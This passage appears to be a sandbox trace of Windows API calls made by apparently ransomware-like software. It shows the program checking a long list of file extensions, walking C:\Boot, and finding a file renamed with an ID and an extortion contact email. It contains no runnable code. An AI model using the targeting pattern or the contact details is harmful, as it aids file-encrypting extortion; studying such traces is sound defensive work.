	[0160.659] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".mp4") returned 4
	[0160.659] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".mpeg") returned 5
	[0160.659] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1
	[0160.659] lstrlenW (lpString=".mpg") returned 4
	[0160.659] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".mpv") returned 4
	[0160.659] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".mrw") returned 4
	[0160.659] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".msg") returned 4
	[0160.659] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".mxl") returned 4
	[0160.659] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".myd") returned 4
	[0160.659] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".myi") returned 4
	[0160.659] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".nef") returned 4
	[0160.659] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".nrw") returned 4
	[0160.659] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".obj") returned 4
	[0160.659] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0160.659] lstrlenW (lpString=".odb") returned 4
	[0160.660] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".odc") returned 4
	[0160.660] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".odm") returned 4
	[0160.660] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".odp") returned 4
	[0160.660] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".ods") returned 4
	[0160.660] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".oft") returned 4
	[0160.660] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".one") returned 4
	[0160.660] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".onepkg") returned 7
	[0160.660] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1
	[0160.660] lstrlenW (lpString=".onetoc2") returned 8
	[0160.660] lstrcmpiW (lpString1=".onetoc2", lpString2="aces.dll") returned -1
	[0160.660] lstrlenW (lpString=".opt") returned 4
	[0160.660] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".oqy") returned 4
	[0160.660] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".orf") returned 4
	[0160.660] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".p12") returned 4
	[0160.660] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".p7b") returned 4
	[0160.660] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".p7c") returned 4
	[0160.660] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".pam") returned 4
	[0160.660] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".pbm") returned 4
	[0160.660] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".pct") returned 4
	[0160.660] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".pcx") returned 4
	[0160.660] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0160.660] lstrlenW (lpString=".pdd") returned 4
	[0160.661] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0160.661] lstrlenW (lpString=".pdf") returned 4
	[0160.661] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0160.661] lstrlenW (lpString=".pdp") returned 4
	[0160.661] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0160.661] lstrlenW (lpString=".pef") returned 4
	[0160.661] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0160.661] lstrlenW (lpString=".pem") returned 4
	[0160.661] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0160.661] lstrlenW (lpString=".pff") returned 4
	[0160.661] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0160.661] lstrlenW (lpString=".pfm") returned 4
	[0160.661] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0160.661] lstrlenW (lpString=".pfx") returned 4
	[0160.661] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0160.661] lstrlenW (lpString=".pgm") returned 4
	[0160.661] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0160.661] lstrlenW (lpString=".php") returned 4
	[0160.661] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0160.661] lstrlenW (lpString=".php3") returned 5
	[0160.661] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1
	[0160.661] lstrlenW (lpString=".php4") returned 5
	[0160.661] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1
	[0160.661] lstrlenW (lpString=".php5") returned 5
	[0160.661] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1
	[0160.661] lstrlenW (lpString=".phtml") returned 6
	[0160.661] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1
	[0160.661] lstrlenW (lpString=".pict") returned 5
	[0160.661] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1
	[0160.661] lstrlenW (lpString=".pl") returned 3
	[0160.661] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0160.661] lstrlenW (lpString=".pls") returned 4
	[0160.661] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0160.661] lstrlenW (lpString=".pm") returned 3
	[0160.661] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0160.661] lstrlenW (lpString=".png") returned 4
	[0160.661] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".pnm") returned 4
	[0160.662] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".pot") returned 4
	[0160.662] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".potm") returned 5
	[0160.662] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1
	[0160.662] lstrlenW (lpString=".potx") returned 5
	[0160.662] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1
	[0160.662] lstrlenW (lpString=".ppa") returned 4
	[0160.662] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".ppam") returned 5
	[0160.662] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1
	[0160.662] lstrlenW (lpString=".ppm") returned 4
	[0160.662] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".pps") returned 4
	[0160.662] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".ppsm") returned 5
	[0160.662] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1
	[0160.662] lstrlenW (lpString=".ppt") returned 4
	[0160.662] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".pptm") returned 5
	[0160.662] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1
	[0160.662] lstrlenW (lpString=".pptx") returned 5
	[0160.662] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1
	[0160.662] lstrlenW (lpString=".prn") returned 4
	[0160.662] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".ps") returned 3
	[0160.662] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0160.662] lstrlenW (lpString=".psb") returned 4
	[0160.662] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".psd") returned 4
	[0160.662] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".pst") returned 4
	[0160.662] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".ptx") returned 4
	[0160.662] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0160.662] lstrlenW (lpString=".pub") returned 4
	[0160.663] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0160.663] lstrlenW (lpString=".pwm") returned 4
	[0160.663] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0160.663] lstrlenW (lpString=".pxr") returned 4
	[0160.663] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0160.663] lstrlenW (lpString=".py") returned 3
	[0160.663] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0160.663] lstrlenW (lpString=".qt") returned 3
	[0160.663] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0160.663] lstrlenW (lpString=".r3d") returned 4
	[0160.663] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0160.663] lstrlenW (lpString=".raf") returned 4
	[0160.663] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0160.663] lstrlenW (lpString=".rar") returned 4
	[0160.663] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0160.663] lstrlenW (lpString=".raw") returned 4
	[0160.663] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0160.663] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x36d1213b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36d1213b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36d38256, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="BOOTST~1.Z9")) returned 1
	[0160.663] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0160.663] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0160.663] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0160.663] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e968
	[0160.664] FindNextFileW (in: hFindFile=0x76e968, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.664] FindNextFileW (in: hFindFile=0x76e968, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0160.666] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.666] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0160.666] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13
	[0160.666] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ec28
	[0160.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.669] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.670] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fe2738 | out: hHeap=0x710000) returned 1
	[0160.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fe2738 | out: hHeap=0x710000) returned 1
	[0160.801] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fe2738 | out: hHeap=0x710000) returned 1
	[0160.815] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fe2738 | out: hHeap=0x710000) returned 1
	[0160.815] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fe2738 | out: hHeap=0x710000) returned 1
	[0160.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0160.822] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x770608, Size=0x4000) returned 0x39249f0
	[0160.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.826] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0160.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0161.086] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0161.086] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.126] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.357] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.357] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.360] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.360] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.360] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.361] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.361] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.362] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.362] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.362] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.368] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.368] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.369] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.375] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.375] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
